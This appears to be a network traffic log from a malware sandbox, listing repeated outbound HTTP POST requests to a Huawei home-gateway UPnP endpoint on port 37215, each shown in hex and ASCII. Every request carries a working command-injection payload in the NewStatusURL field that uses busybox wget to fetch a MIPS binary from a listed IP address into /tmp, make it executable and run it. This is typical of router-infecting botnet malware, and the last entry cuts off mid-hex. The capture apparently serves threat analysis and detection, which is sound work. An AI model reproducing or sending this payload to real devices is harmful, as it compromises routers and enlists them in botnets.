Jan 22, 2024 04:01:22.564577103 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:24.344660044 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:27.900623083 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:35.020641088 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:49.260632038 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:17.772703886 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.20	45060	156.224.8.6	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:26.497072935 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:27.948597908 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:29.688740015 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:33.164583921 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 